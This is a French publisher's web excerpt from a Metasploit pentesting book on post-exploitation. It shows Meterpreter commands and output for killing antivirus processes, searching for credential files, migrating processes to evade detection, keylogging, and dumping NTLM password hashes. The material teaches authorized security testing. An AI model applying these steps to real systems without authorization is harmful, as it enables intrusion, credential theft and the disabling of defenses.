Blog ENI : Toute la veille numérique !
🐠 -25€ dès 75€ 
+ 7 jours d'accès à la Bibliothèque Numérique ENI. Cliquez ici
Accès illimité 24h/24 à tous nos livres & vidéos ! 
Découvrez la Bibliothèque Numérique ENI. Cliquez ici
  1. Livres et vidéos
  2. Metasploit
  3. Pour aller plus loin dans la post
Extrait - Metasploit Testez la sécurité de vos infrastructures (2e edition)
Extraits du livre
Metasploit Testez la sécurité de vos infrastructures (2e edition)
1 avis
Revenir à la page d'achat du livre

Pour aller plus loin dans la post-exploitation

Introduction

La post-exploitation est une phase particulièrement importante puisqu’elle peut permettre d’aller encore plus en profondeur dans le périmètre cible (défini dans le mandat d’autorisation dans le cas d’un audit ou complètement libre dans le cas d’un attaquant).

Certaines commandes standards ainsi que les commandes de base de Meterpreter ont été expliquées précédemment. Néanmoins, Meterpreter regorge de possibilités permettant d’aller encore plus loin dans la phase de post-exploitation :

Désactivation des logiciels de sécurité

Lors de la compromission d’une machine, il n’est pas impossible que cette dernière soit équipée d’un antivirus pouvant compliquer la phase de post-exploitation. Afin de pallier ce problème, il est possible d’utiliser le script post/windows/manage/killav. En effet, ce dernier détient une liste de plus de 600 antivirus dont il va tenter de terminer le processus (kill <PID>).

Cette liste se trouve dans /usr/share/metasploit-framework/data/wordlists/ av_hips_executables.txt :

root@kali:/usr/share/metasploit-framework/data/wordlists# head 
av_hips_executables.txt 
emet_agent.exe 
emet_service.exe 
firesvc.exe 
firetray.exe 
hipsvc.exe 
mfevtps.exe 
mcafeefire.exe 
scan32.exe 
shstat.exe 
tbmon.exe 

Ainsi, le script s’exécute en lui passant uniquement en argument la session en cours, de la manière suivante :

msf6 > use post/windows/manage/killav 
 
msf6 post(windows/manage/killav) > set SESSION 2 
SESSION => 2 
 
msf6 post(windows/manage/killav) > exploit 
 
[*] Killing Antivirus services on the target 
[*] Killing of nod32.exe 

Dans le cas où le logiciel de sécurité ne se trouve pas dans le fichier av_hips_executables.txt, il est possible de réaliser ses actions manuellement grâce...

Élévation des privilèges

1. À la recherche de fichiers intéressants

À la suite de la compromission d’un système, il peut être intéressant de parcourir ce dernier à la recherche de fichiers intéressants dans le but d’élever ses privilèges, que cela soit sur la machine compromise ou sur d’autres machines du réseau.

Dans le cas où l’attaquant ne sait pas exactement où chercher, il est possible d’utiliser la commande search de Meterpreter :

meterpreter > search -h  
Usage: search [-d dir] [-r recurse] -f pattern [-f pattern]... 
Search for files. 
 
OPTIONS: 
   -d <opt>  The directory/drive to begin searching from. Leave empty 
to search all drives. (Default: ) 
   -f <opt>  A file pattern glob to search for. (e.g. *secret*.doc?) 
   -h        Help Banner 
   -r <opt>  Recursivly search sub directories. (Default: true) 
 
meterpreter > search -f *.pdf 
Found 897 results... 
   [...] 
   d:\Syngress - Stealing the Network How to Own a Shadow.pdf (9570109 
bytes) 
   d:\Wireshark\Syngress - 
Wireshark.and.Ethereal.Network.Protocol.Analyzer.Toolkit.Nov.2006.pdf 
(13852555 bytes) 
   d:\Wireshark\Wireshark (R) 101 Essential Skills for Network 
Analysis.pdf (19254979 bytes) 
   d:\Metasploit\Metasploit - The PenTest Guide.pdf (7237192 bytes) 
   d:\Metasploit\Metasploit Penetration Testing Cookbook.pdf 
(5154679 bytes) 
   d:\Metasploit\Metasploit Toolkit for Penetration Testing.pdf 
(5136941 bytes) 
   [...] 

Néanmoins, un attaquant ayant une bonne vision de la machine cible ou du contexte peut se rendre directement vers des fichiers dans lesquels se trouvent des informations sensibles, comme les fichiers de bases de données (.sql), les fichiers de type keepass (.kdb, .kdbx), les fichiers contenant la liste des utilisateurs (/etc/passwd), des fichiers contenant des commandes précédemment exécutées (.bash_history), des clés SSH, etc.

Exemple 1

Dans le cas de la compromission suivante...

Migration de processus

À la suite d’une compromission, il peut arriver qu’il soit nécessaire de migrer le processus du Meterpreter vers un autre. Cette migration permet de :

  • cacher le processus afin de minimiser la détection de ce dernier

  • changer l’architecture du processus (32 bits vs 64 bits)

  • migrer vers un processus disposant de plus de privilèges

Une fois la compromission faite, il est possible de connaître le processus actuel (getpid), mais également d’afficher l’ensemble des processus en cours grâce à la commande ps :

meterpreter > getpid 
Current pid: 5816 
 
meterpreter > ps 
 
Process List  
============  
 
PID   PPID  Name                         Arch  Session  User 
Path 
---   ----  ----                         ----  -------  ---- 
---- 
 0    0    [System Process] 
 4    0    System                        x64   0 
416   4     smss.exe                     x64   0       AUTORITE 
NT\Systeme       C:\Windows\System32\smss.exe 
436   800   nvSCPAPISvr.exe              x86   0       AUTORITE ...

Enregistrement des frappes clavier

Maintenant que le concept de migration de processus est devenu un peu plus clair, il est à présent possible de parler d’enregistrement de frappes aussi appelé keylogging.

En effet, afin de pouvoir enregistrer les frappes clavier d’un utilisateur, un attaquant doit être en mesure de migrer vers l’un des deux processus suivant :

  • winlogon.exe afin de capturer les identifiants de connexion des utilisateurs. Afin de migrer vers ce processus, le processus initial doit appartenir à System.

  • explorer.exe afin de capturer l’ensemble des autres frappes clavier (en dehors des identifiants de connexion).

Dans ce cas de figure, le processus cible ne disposant pas de suffisamment de privilèges, la migration est effectuée vers explorer.exe :

meterpreter > ps 
 
Process list 
============ 
 
   PID   Name               Path 
   ---   ----               ---- 
   140   smss.exe           \SystemRoot\System32\smss.exe 
   188   winlogon.exe       ??\C:\WINNT\system32\winlogon.exe ...

Accès à d’autres machines du réseau

Dans le cas où le périmètre des tests le permet, il est possible de tenter d’accéder à d’autres machines du réseau.

Comme vu à la section Élévation des privilèges - À la recherche de fichiers intéressants, il est possible de trouver des informations sensibles au sein de certains fichiers. Néanmoins, d’autres techniques existent.

1. Réutilisation des identifiants

Nous avons vu qu’il est possible d’obtenir les hashs des identifiants LM/NTLM grâce aux commandes hashdump et smart_hashdump de Meterpreter :

msf6 post(windows/gather/smart_hashdump) > exploit  
[*] Running module against VICTIMEPC 
[*] Hashes will be saved to the database if one is connected. 
[+] Hashes will be saved in loot in JtR password file format to: 
[*] 
/root/.msf4/loot/20190618081455_default_192.168.0.29_windows.hashes_3 
08038.txt  
[*] Dumping password hashes... 
[*] Running as SYSTEM extracting hashes from registry 
[*]     Obtaining the boot key... 
[*]     Calculating the hboot key using SYSKEY 
073e3c624e24966502b500cba1fdeb0a... 
[*]     Obtaining the user list and keys... 
[*]     Decrypting user keys... 
[*]     Dumping password hints... 
[+]     Admin:"..." 
[*]     Dumping password hashes... 
[+] 
    Administrateur:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae 
931bXXXXXXXXX7e0c089c0::: 
[+] 
    Admin:1000:aad3b435b51404eeaad3b435b51404ee:fc8c2ba9cb96533a25f8d 
5a9de8a499a::: 
[+] 
    HomeGroupUser$:1005:aad3b435b51404eeaad3b435b51404ee:3a975b7d46b6 
f136506578a20ef927c0::: 
[+] 
    domy:1007:aad3b435b51404eeaad3b435b51404ee:bd8fc596f51dbe00fee673 
14719db053::: 
[*] Post module execution completed 

Le module auxiliary/analyze/jtr_windows_fast a également été mis en avant pour tenter de casser les mots de passe ainsi récupérés afin d’avoir leur forme en clair. Des RainbowTables pourraient également...